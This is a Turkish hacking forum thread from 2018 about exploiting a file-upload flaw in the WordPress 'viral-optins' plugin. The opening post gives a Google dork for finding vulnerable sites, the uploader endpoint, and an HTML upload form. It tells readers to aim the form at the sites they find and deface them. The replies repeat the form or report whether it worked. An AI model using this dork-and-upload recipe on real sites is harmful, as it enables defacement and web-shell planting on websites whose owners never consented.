Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...






Wordpress File Upload Exploitini Kullanma

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 10-04-2018 13:18   #1
  • Üsteğmen
  • Üye Bilgileri
Üyelik tarihi
01/2017
Mesajlar
Konular


  
Wordpress File Upload Exploitini Kullanma



Bu dork ile site buluyoruz
Kod:
Google dork: inurl:/wp-content/plugins/viral-optins/
dork ile bulduğumuz sitelerin sadece ismi bu exploite yazılacak
Kod:
Exploit: https://127.0.0.1/wp/wp-content/plugins/viral-optins/api/uploader/file-uploader.php
HTML OLARAK BUNU KAYIT EDİN (ip ile belirtilmiş adresi silip dork ile bulduğumuz siteleri yazınız
Kod:
<form method="POST" action="https://127.0.0.1/wp/wp-content/plugins/viral-optins/api/uploader/file-uploader.php" enctype="multipart/form-data" > 
<input type="file" name="Filedata"></center><br>
<input type="submit" name="Submit" value="Upload">
</form>
ve sonra html olrak kayıt ettiğiniz dosyayı çalıştırın indexinizi basın





    


___________________________________________

Tehdide dayanan ahlak, bir erdemlilik olmadığından başka, güvenilmeye de layık değildir.

Siber Güvenlik Uzmanı & Grafik Tasarımcı

Konu SaruH4N tarafından (22-04-2018 01:22 Saat 01:22 ) değiştirilmiştir..
 Offline  
 
Alıntı ile Cevapla
Alt 10-04-2018 13:23   #2
  • Tümgeneral
  • Üye Bilgileri
Üyelik tarihi
07/2016
Yaş
20
Mesajlar
Konular


  


Güzel exploit'e benziyor. Eskimeden doluşun..
    


___________________________________________


 Offline  
 
Alıntı ile Cevapla
Alt 10-04-2018 13:26   #3
  • Üsteğmen
  • Üye Bilgileri
Üyelik tarihi
01/2017
Mesajlar
Konular


  


Alıntı:
R4V3N´isimli üyeden Alıntı Mesajı göster
Güzel exploit'e benziyor. Eskimeden doluşun..
yazılı anlatımda yaptım kontrol edebilirsiniz
    


___________________________________________

Tehdide dayanan ahlak, bir erdemlilik olmadığından başka, güvenilmeye de layık değildir.

Siber Güvenlik Uzmanı & Grafik Tasarımcı
 Offline  
 
Alıntı ile Cevapla
Alt 13-04-2018 14:51   #4
  • Teğmen
  • Üye Bilgileri
Üyelik tarihi
09/2016
Nereden
amiroot
Mesajlar
Konular
3


  


Ooo reis exploit db de gormustum fkat anlamamistm eyw.
    
 Offline  
 
Alıntı ile Cevapla
Alt 21-04-2018 14:53   #5
  • Teğmen
  • Üye Bilgileri
Üyelik tarihi
03/2017
Mesajlar
Konular


  


Denedim, çalışmıyor. Yapan var mı?
    
 Offline  
 
Alıntı ile Cevapla
Alt 22-04-2018 07:09   #6
  • Asteğmen
  • Üye Bilgileri
Üyelik tarihi
03/2018
Nereden
127.0.0.1
Yaş
15
Mesajlar
Konular


  


Eline sağlık deniyeceğim.
    


___________________________________________

Entrad | Official
Entrad 2009 ©
 Offline  
 
Alıntı ile Cevapla
Alt 22-04-2018 08:30   #7
  • Teğmen
  • Üye Bilgileri
Üyelik tarihi
08/2017
Mesajlar
Konular


  


dostum file upload demişsinde normalda csrf açıgıdır

he bide shel upload edemesin

he diye dostum exploit bu <form method="POST" action="https://127.0.0.1/wp/wp-content/plugins/viral-optins/api/uploader/file-uploader.php" enctype="multipart/form-data" >
<input type="file" name="Filedata"></center><br>
<input type="submit" name="Submit" value="Upload">
</form>
    

Konu Ceys tarafından (27-04-2018 12:51 Saat 12:51 ) değiştirilmiştir.. Sebep: flood
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2018

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı



Google+

wau

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.